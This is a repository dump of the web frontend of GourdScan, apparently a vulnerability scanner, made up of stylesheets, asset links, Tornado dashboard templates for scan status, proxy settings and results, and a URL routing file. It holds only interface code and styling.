------------------------- 3 | 4 | .#{$fa-css-prefix}-stack { 5 | position: relative; 6 | display: inline-block; 7 | width: 2em; 8 | height: 2em; 9 | line-height: 2em; 10 | vertical-align: middle; 11 | } 12 | .#{$fa-css-prefix}-stack-1x, .#{$fa-css-prefix}-stack-2x { 13 | position: absolute; 14 | left: 0; 15 | width: 100%; 16 | text-align: center; 17 | } 18 | .#{$fa-css-prefix}-stack-1x { line-height: inherit; } 19 | .#{$fa-css-prefix}-stack-2x { font-size: 2em; } 20 | .#{$fa-css-prefix}-inverse { color: $fa-inverse; } 21 | -------------------------------------------------------------------------------- /web/static/less/icons/font-awesome/scss/font-awesome.scss: -------------------------------------------------------------------------------- 1 | /*! 2 | * Font Awesome 4.5.0 by @davegandy - http://fontawesome.io - @fontawesome 3 | * License - http://fontawesome.io/license (Font: SIL OFL 1.1, CSS: MIT License) 4 | */ 5 | 6 | @import "variables"; 7 | @import "mixins"; 8 | @import "path"; 9 | @import "core"; 10 | @import "larger"; 11 | @import "fixed-width"; 12 | @import "list"; 13 | @import "bordered-pulled"; 14 | @import "animated"; 15 | @import "rotated-flipped"; 16 | @import "stacked"; 17 | @import "icons"; 18 | -------------------------------------------------------------------------------- /web/static/less/icons/material-design-iconic-font/fonts/Material-Design-Iconic-Font.eot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/less/icons/material-design-iconic-font/fonts/Material-Design-Iconic-Font.eot -------------------------------------------------------------------------------- /web/static/less/icons/material-design-iconic-font/fonts/Material-Design-Iconic-Font.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/less/icons/material-design-iconic-font/fonts/Material-Design-Iconic-Font.ttf -------------------------------------------------------------------------------- /web/static/less/icons/material-design-iconic-font/fonts/Material-Design-Iconic-Font.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/less/icons/material-design-iconic-font/fonts/Material-Design-Iconic-Font.woff -------------------------------------------------------------------------------- /web/static/less/icons/material-design-iconic-font/fonts/Material-Design-Iconic-Font.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/less/icons/material-design-iconic-font/fonts/Material-Design-Iconic-Font.woff2 -------------------------------------------------------------------------------- /web/static/less/icons/themify-icons/fonts/themify.eot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/less/icons/themify-icons/fonts/themify.eot -------------------------------------------------------------------------------- /web/static/less/icons/themify-icons/fonts/themify.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/less/icons/themify-icons/fonts/themify.ttf -------------------------------------------------------------------------------- /web/static/less/icons/themify-icons/fonts/themify.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/less/icons/themify-icons/fonts/themify.woff -------------------------------------------------------------------------------- /web/static/less/responsive.less: -------------------------------------------------------------------------------- 1 | 2 | @import "variables.less"; 3 | @import "elements.less"; 4 | 5 | 6 | /* 7 | Template Name: Adminto Dashboard 8 | Author: CoderThemes 9 | Email: coderthemes@gmail.com 10 | File: Responsive 11 | */ 12 | 13 | @media only screen and (max-width: 6000px) and (min-width: 700px) { 14 | .wrapper.right-bar-enabled { 15 | .right-bar { 16 | right: 0; 17 | z-index: 99; 18 | } 19 | } 20 | } 21 | 22 | @media (max-width: 1023px) { 23 | .button-menu-mobile { 24 | display: block !important; 25 | } 26 | } 27 | 28 | @media (min-width: 768px) and (max-width: 991px) { 29 | body { 30 | overflow-x: hidden; 31 | } 32 | } 33 | 34 | @media (max-width: 767px) { 35 | body { 36 | overflow-x: hidden; 37 | } 38 | .enlarged { 39 | .left.side-menu { 40 | margin-left: -75px; 41 | } 42 | } 43 | .topbar-left { 44 | width: 70px !important; 45 | } 46 | .content-page .content { 47 | margin-top: 95px; 48 | } 49 | .topbar .topbar-left { 50 | height: 75px; 51 | } 52 | 53 | .navbar-default { 54 | background-color: @white; 55 | box-shadow: 0 0px 24px 0 rgba(0, 0, 0, 0.06), 0 1px 0px 0 rgba(0, 0, 0, 0.02); 56 | } 57 | .navbar-nav { 58 | margin: 0px; 59 | display: inline-block; 60 | 61 | li { 62 | display: inline-block; 63 | line-height: 1px; 64 | } 65 | } 66 | .navbar-nav.navbar-right { 67 | float: right; 68 | } 69 | .notification-box { 70 | display: inline; 71 | 72 | ul { 73 | li{ 74 | a{ 75 | line-height: 46px; 76 | } 77 | } 78 | } 79 | 80 | .pulse { 81 | top: 5px; 82 | } 83 | .dot { 84 | top: -7px; 85 | left: -3px; 86 | } 87 | } 88 | #topnav .navbar-toggle { 89 | margin-right: 5px; 90 | } 91 | .navbar-nav { 92 | .open { 93 | .dropdown-menu { 94 | background-color: @white; 95 | box-shadow: 0 2px 5px 0 rgba(0, 0, 0, .26); 96 | left: auto; 97 | position: absolute; 98 | right: 0; 99 | 100 | li{ 101 | display: block; 102 | } 103 | } 104 | } 105 | } 106 | .content-page { 107 | margin-left: 0px !important; 108 | } 109 | .footer { 110 | left: 0px !important; 111 | } 112 | 113 | .mobile-sidebar { 114 | left: 0px; 115 | } 116 | 117 | .mobile-content { 118 | left: 250px; 119 | right: -250px; 120 | } 121 | 122 | .wrapper-page { 123 | width: 90%; 124 | } 125 | 126 | .dataTables_wrapper { 127 | .col-xs-6 { 128 | width: 100%; 129 | text-align: left; 130 | } 131 | } 132 | 133 | div#datatable-buttons_info { 134 | float: none; 135 | } 136 | } 137 | 138 | @media (max-width: 480px) { 139 | .side-menu { 140 | z-index: 10 !important; 141 | } 142 | 143 | .button-menu-mobile { 144 | display: block; 145 | } 146 | 147 | .search-bar { 148 | display: none !important; 149 | } 150 | } 151 | 152 | @media (max-width: 420px) { 153 | .hide-phone { 154 | display: none !important; 155 | } 156 | } 157 | 158 | /* Container-alt */ 159 | @media (min-width: 768px) { 160 | .container-alt { 161 | width: 750px; 162 | } 163 | 164 | .nav-tabs.nav-justified > li > a { 165 | border-bottom: 2px solid @light; 166 | } 167 | } 168 | 169 | @media (min-width: 992px) { 170 | .container-alt { 171 | width: 970px; 172 | } 173 | } 174 | 175 | @media (min-width: 1200px) { 176 | .container-alt { 177 | width: 1170px; 178 | } 179 | } 180 | @media (max-width: 419px) { 181 | .topbar-left { 182 | width: 70px !important; 183 | } 184 | .content-page { 185 | margin-left: 70px; 186 | } 187 | .forced { 188 | .side-menu.left { 189 | box-shadow: 0 12px 12px rgba(0, 0, 0, 0.1); 190 | position: absolute; 191 | } 192 | } 193 | .enlarged { 194 | .side-menu.left { 195 | box-shadow: 0 1px 1px rgba(0, 0, 0, 0.1) !important; 196 | } 197 | } 198 | 199 | .profile-info-name img { 200 | float: none; 201 | margin: 0px auto; 202 | margin-bottom: 20px; 203 | } 204 | div.hopscotch-bubble .hopscotch-bubble-container { 205 | max-width: 180px; 206 | } 207 | } 208 | 209 | -------------------------------------------------------------------------------- /web/static/less/variables.less: -------------------------------------------------------------------------------- 1 | 2 | 3 | @custom: #71b6f9; 4 | 5 | 6 | // Color variables 7 | 8 | @white: #ffffff; 9 | 10 | @default: #dae6ec; 11 | @primary: #188ae2; 12 | @success: #10c469; 13 | @info: #35b8e0; 14 | @warning: #f9c851; 15 | @danger: #ff5b5b; 16 | @purple: #5b69bc; 17 | @pink: #ff8acc; 18 | @inverse: #3b3e47; 19 | @muted: #98a6ad; 20 | @light: #eeeeee; 21 | @dark: #435966; 22 | @lightdark3: #333333; 23 | @lightdark4: #444444; 24 | @lightdark5: #555555; 25 | @lightdark7: #797979; 26 | @light5: #ebeff2; 27 | @light3: #f3f3f3; 28 | @light9: #f9f9f9; 29 | @light-alt: #fafafa; 30 | @lightdark-alt: #cccccc; 31 | @lightdark: #f4f8fb; 32 | @lightgray: #7a8c9a; 33 | 34 | 35 | // Width variables 36 | @width: 100%; 37 | 38 | // Height variables 39 | @height: 100%; 40 | 41 | //Font variables 42 | @font-primary: 'Roboto', sans-serif; 43 | @font-secondary: 'Karla', sans-serif; 44 | -------------------------------------------------------------------------------- /web/static/plugin/morris/morris.css: -------------------------------------------------------------------------------- 1 | .morris-hover{position:absolute;z-index:1000}.morris-hover.morris-default-style{border-radius:10px;padding:6px;color:#666;background:rgba(255,255,255,0.8);border:solid 2px rgba(230,230,230,0.8);font-family:sans-serif;font-size:12px;text-align:center}.morris-hover.morris-default-style .morris-hover-row-label{font-weight:bold;margin:0.25em 0} 2 | .morris-hover.morris-default-style .morris-hover-point{white-space:nowrap;margin:0.1em 0} 3 | -------------------------------------------------------------------------------- /web/static/plugin/multiselect/css/multi-select.css: -------------------------------------------------------------------------------- 1 | .ms-container{ 2 | background: transparent url('../img/switch.png') no-repeat 50% 50%; 3 | width: 545px; 4 | } 5 | 6 | .ms-container:after{ 7 | content: "."; 8 | display: block; 9 | height: 0; 10 | line-height: 0; 11 | font-size: 0; 12 | clear: both; 13 | min-height: 0; 14 | visibility: hidden; 15 | } 16 | 17 | .ms-container .ms-selectable, .ms-container .ms-selection{ 18 | background: #FFF; 19 | color: #333; 20 | float: left; 21 | width: 45%; 22 | } 23 | .ms-container .ms-selection{ 24 | float: right; 25 | } 26 | 27 | .ms-container .ms-list{ 28 | -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075); 29 | -moz-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075); 30 | box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075); 31 | -webkit-transition: border linear 0.2s, box-shadow linear 0.2s; 32 | -moz-transition: border linear 0.2s, box-shadow linear 0.2s; 33 | -ms-transition: border linear 0.2s, box-shadow linear 0.2s; 34 | -o-transition: border linear 0.2s, box-shadow linear 0.2s; 35 | transition: border linear 0.2s, box-shadow linear 0.2s; 36 | border: 1px solid black; 37 | -webkit-border-radius: 3px; 38 | -moz-border-radius: 3px; 39 | border-radius: 3px; 40 | position: relative; 41 | height: 200px; 42 | padding: 0; 43 | overflow-y: auto; 44 | } 45 | 46 | .ms-container .ms-list.ms-focus{ 47 | border-color: rgba(82, 168, 236, 0.8); 48 | -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 8px rgba(82, 168, 236, 0.6); 49 | -moz-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 8px rgba(82, 168, 236, 0.6); 50 | box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 8px rgba(82, 168, 236, 0.6); 51 | outline: 0; 52 | outline: thin dotted \9; 53 | } 54 | 55 | .ms-container ul{ 56 | margin: 0; 57 | list-style-type: none; 58 | padding: 0; 59 | } 60 | 61 | .ms-container .ms-optgroup-container{ 62 | width: 100%; 63 | } 64 | 65 | .ms-container .ms-optgroup-label{ 66 | margin: 0; 67 | padding: 5px 0px 0px 5px; 68 | cursor: pointer; 69 | color: #333; 70 | } 71 | 72 | .ms-container .ms-selectable li.ms-elem-selectable, 73 | .ms-container .ms-selection li.ms-elem-selection{ 74 | border-bottom: 1px #eee solid; 75 | padding: 2px 10px; 76 | color: #333; 77 | font-size: 14px; 78 | } 79 | 80 | .ms-container .ms-selectable li.ms-hover, 81 | .ms-container .ms-selection li.ms-hover{ 82 | cursor: pointer; 83 | color: #333; 84 | text-decoration: none; 85 | background-color: #08c; 86 | } 87 | 88 | .ms-container .ms-selectable li.disabled, 89 | .ms-container .ms-selection li.disabled{ 90 | background-color: #eee; 91 | color: #333; 92 | cursor: text; 93 | } 94 | -------------------------------------------------------------------------------- /web/static/plugin/multiselect/img/switch.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/plugin/multiselect/img/switch.png -------------------------------------------------------------------------------- /web/static/plugin/switchery/switchery.min.css: -------------------------------------------------------------------------------- 1 | .switchery{background-color:#fff;border:1px solid #dfdfdf;border-radius:20px;cursor:pointer;display:inline-block;height:30px;position:relative;vertical-align:middle;width:50px;-moz-user-select:none;-khtml-user-select:none;-webkit-user-select:none;-ms-user-select:none;user-select:none;box-sizing:content-box;background-clip:content-box}.switchery>small{background:#fff;border-radius:100%;box-shadow:0 1px 3px rgba(0,0,0,0.4);height:30px;position:absolute;top:0;width:30px}.switchery-small{border-radius:20px;height:20px;width:33px}.switchery-small>small{height:20px;width:20px}.switchery-large{border-radius:40px;height:40px;width:66px}.switchery-large>small{height:40px;width:40px} -------------------------------------------------------------------------------- /web/static/plugin/tip-darkgray/tip-darkgray.css: -------------------------------------------------------------------------------- 1 | .tip-darkgray { 2 | opacity:0.95; 3 | z-index:1000; 4 | text-align:left; 5 | text-shadow:#444 0 1px 1px; 6 | border:1px solid #888; 7 | padding:8px; 8 | min-width:50px; 9 | max-width:530px; 10 | color:#fff; 11 | background-color:#999; 12 | background-image:url(tip-darkgray.png); /* bgImageFrameSize >= 11 should work fine */ 13 | /** 14 | * - If you set a background-image, border/padding/background-color will be ingnored. 15 | * You can set any padding to .tip-inner instead if you need. 16 | * - If you want a tiled background-image and border/padding for the tip, 17 | * set the background-image to .tip-inner instead. 18 | */ 19 | } 20 | .tip-darkgray .tip-inner { 21 | font:bold 12px/18px arial,helvetica,sans-serif; 22 | margin-top:-1px; 23 | padding:0 4px 3px 4px; 24 | } 25 | 26 | /* Configure an arrow image - the script will automatically position it on the correct side of the tip */ 27 | .tip-darkgray .tip-arrow-top { 28 | margin-top:-7px; 29 | margin-left:15px; 30 | top:0; 31 | left:0; 32 | width:16px; 33 | height:10px; 34 | background:url(tip-darkgray_arrows.png) no-repeat; 35 | } 36 | .tip-darkgray .tip-arrow-right { 37 | margin-top:-9px; /* approx. half the height to center it */ 38 | margin-left:-7px; 39 | top:50%; 40 | left:100%; 41 | width:11px; 42 | height:21px; 43 | background:url(tip-darkgray_arrows.png) no-repeat -22px 0; 44 | } 45 | .tip-darkgray .tip-arrow-bottom { 46 | margin-top:-7px; 47 | margin-left:15px; 48 | top:100%; 49 | left:0; 50 | width:22px; 51 | height:13px; 52 | background:url(tip-darkgray_arrows.png) no-repeat -44px 0; 53 | } 54 | .tip-darkgray .tip-arrow-left { 55 | margin-top:-9px; /* approx. half the height to center it */ 56 | margin-left:-6px; 57 | top:50%; 58 | left:0; 59 | width:11px; 60 | height:21px; 61 | background:url(tip-darkgray_arrows.png) no-repeat -66px 0; 62 | } -------------------------------------------------------------------------------- /web/static/plugin/tip-darkgray/tip-darkgray.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/plugin/tip-darkgray/tip-darkgray.png -------------------------------------------------------------------------------- /web/static/plugin/tip-darkgray/tip-darkgray_arrows.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/plugin/tip-darkgray/tip-darkgray_arrows.png -------------------------------------------------------------------------------- /web/static/plugin/tip-twitter/tip-twitter.css: -------------------------------------------------------------------------------- 1 | .tip-twitter { 2 | opacity:0.8; 3 | z-index:1000; 4 | text-align:left; 5 | border-radius:4px; 6 | -moz-border-radius:4px; 7 | -webkit-border-radius:4px; 8 | padding:8px 8px; 9 | max-width:200px; 10 | color:#fff; 11 | background-color:#000; 12 | /** 13 | * - If you set a background-image, border/padding/background-color will be ingnored. 14 | * You can set any padding to .tip-inner instead if you need. 15 | * - If you want a tiled background-image and border/padding for the tip, 16 | * set the background-image to .tip-inner instead. 17 | */ 18 | } 19 | .tip-twitter .tip-inner { 20 | font:bold 11px/14px 'Lucida Grande',sans-serif; 21 | } 22 | 23 | /* Configure an arrow image - the script will automatically position it on the correct side of the tip */ 24 | .tip-twitter .tip-arrow-top { 25 | margin-top:-5px; 26 | margin-left:-5px; /* approx. half the width to center it */ 27 | top:0; 28 | left:50%; 29 | width:9px; 30 | height:5px; 31 | background:url(tip-twitter_arrows.gif) no-repeat; 32 | } 33 | .tip-twitter .tip-arrow-right { 34 | margin-top:-4px; /* approx. half the height to center it */ 35 | margin-left:0; 36 | top:50%; 37 | left:100%; 38 | width:5px; 39 | height:9px; 40 | background:url(tip-twitter_arrows.gif) no-repeat -9px 0; 41 | } 42 | .tip-twitter .tip-arrow-bottom { 43 | margin-top:0; 44 | margin-left:-5px; /* approx. half the width to center it */ 45 | top:100%; 46 | left:50%; 47 | width:9px; 48 | height:5px; 49 | background:url(tip-twitter_arrows.gif) no-repeat -18px 0; 50 | } 51 | .tip-twitter .tip-arrow-left { 52 | margin-top:-4px; /* approx. half the height to center it */ 53 | margin-left:-5px; 54 | top:50%; 55 | left:0; 56 | width:5px; 57 | height:9px; 58 | background:url(tip-twitter_arrows.gif) no-repeat -27px 0; 59 | } -------------------------------------------------------------------------------- /web/static/plugin/tip-twitter/tip-twitter_arrows.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/plugin/tip-twitter/tip-twitter_arrows.gif -------------------------------------------------------------------------------- /web/templates/302.html: -------------------------------------------------------------------------------- 1 | 2 | 6 | -------------------------------------------------------------------------------- /web/templates/404.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | Gourdscan 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 |
36 |
37 |
38 |
404
39 |

Page not Found

40 |
41 |
42 |
43 | 44 | -------------------------------------------------------------------------------- /web/templates/index.html: -------------------------------------------------------------------------------- 1 | {% extends "layout.html" %} 2 | 3 | {% block content %} 4 | 5 |
6 |
7 |
8 | 17 |
18 |
19 |

Running: {{running_num}} reqs

20 | {% for item in running %} 21 |
{{item[:27]}}
22 | {% end %} 23 |

view more

24 |
25 |
26 |
27 |
28 |

Finished: {{finished_num}} reqs

29 | {% for item in finished %} 30 |
{{item[:27]}}
31 | {% end %} 32 |

view more

33 |
34 |
35 |
36 |
37 |

Vulnerable: {{vulnerable_num}} reqs

38 | {% for item in vulnerable %} 39 |
{{item[:27]}}
40 | {% end %} 41 |

view more

42 |
43 |
44 |
45 |
46 |
47 | {% end %} -------------------------------------------------------------------------------- /web/templates/layout.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | Gourdscan 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 23 | 24 | 25 | 26 | 27 |
28 |
29 |
30 |
31 | 32 |
33 | 49 |
50 |
51 | 76 |
77 | 78 | 79 |
80 | {% block content %} 81 | {% end %} 82 |
83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | -------------------------------------------------------------------------------- /web/templates/list.html: -------------------------------------------------------------------------------- 1 | {% extends "layout.html" %} 2 | 3 | {% block content %} 4 |
5 |
6 |
7 |
8 |
9 | 20 | 21 |
22 |

{{list_type}}: {{length}} Reqs

23 | 24 | 25 | 26 | 27 | 28 | 29 | {% for item in content %} 30 | 31 | 32 | 33 | 34 | 35 | {% end %} 36 |
Request HashMethodUrl
{{item}}{{req_content[item].split("|")[0]}}{{req_content[item].split("|")[2]}}
37 |
38 | 49 | 50 |
51 |
52 |
53 |
54 |
55 | {% end %} 56 | -------------------------------------------------------------------------------- /web/templates/login.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | Gourdscan 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 22 | 23 | 24 | 25 | 26 |
27 |
28 |
29 |
30 | 31 |
32 |
33 |
34 |

Login

35 |
36 |
37 |
38 | 39 |
40 |
41 | 42 |
43 |
44 | 45 |
46 |
47 | 48 |
49 |
50 |
51 |
52 | 55 |
56 |
57 |
58 | 59 |
60 |
61 | 62 | 63 |
64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | -------------------------------------------------------------------------------- /web/templates/proxy.html: -------------------------------------------------------------------------------- 1 | {% extends "layout.html" %} 2 | 3 | {% block content %} 4 |
5 |
6 |
7 |
8 |
9 |

{{proxy_type}} Config:

10 |
11 | {% for item in conf.keys() %} 12 |
13 | 14 | 15 |
16 | {% end %} 17 |
18 | 19 |

20 |
21 | {% if stat == "True" %} 22 | 23 | {% else %} 24 | 25 | {% end %} 26 |
27 |
28 |
29 |
30 |
31 | {% end %} 32 | -------------------------------------------------------------------------------- /web/templates/req.html: -------------------------------------------------------------------------------- 1 | {% extends "layout.html" %} 2 | 3 | {% block content %} 4 |
5 |
6 |
7 |
8 |
9 |
Request URL
10 |
11 | {% raw request['url_encode'] %}
12 | Security Stat: {{stat}} 13 |
14 |
15 |
16 | {% if results != "" %} 17 | {% for item in results.keys() %} 18 |
19 |
20 |
{{item}} Scan Results
21 | {% for result in results[item]['message'] %} 22 |
23 | {% for payload in result.split("|#|") %} 24 | {{payload}}
25 | {% end %} 26 |
27 | {% end %} 28 |
29 |
30 | {% end %} 31 | {% end %} 32 |
33 |
34 |
Request Packet
35 |
36 | 37 |
38 |
39 |
40 |
41 |
42 |
43 | {% end %} 44 | -------------------------------------------------------------------------------- /web/urls.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | #coding: utf-8 3 | import handlers.main 4 | import tornado.web 5 | 6 | url_patterns = [ 7 | (r"^/$", handlers.main.IndexHandler), 8 | (r"^/login", handlers.main.LoginHandler), 9 | (r"^/logout", handlers.main.LogoutHandler), 10 | (r"^/index", handlers.main.IndexHandler), 11 | (r"^/config", handlers.main.ConfHandler), 12 | (r"^/proxy", handlers.main.ProxyHandler), 13 | (r"^/scan_config", handlers.main.ScanConfigHandler), 14 | (r"^/scan_stat", handlers.main.ScanStatHandler), 15 | (r"^/req", handlers.main.ReqHandler), 16 | (r"^/list", handlers.main.ListHandler), 17 | (r"^/del", handlers.main.DelHandler), 18 | (r"^/reset_scan", handlers.main.ResetScanHandler), 19 | (r"^/.*", handlers.main.PageNotFoundHandler), 20 | ] 21 | 22 | 23 | --------------------------------------------------------------------------------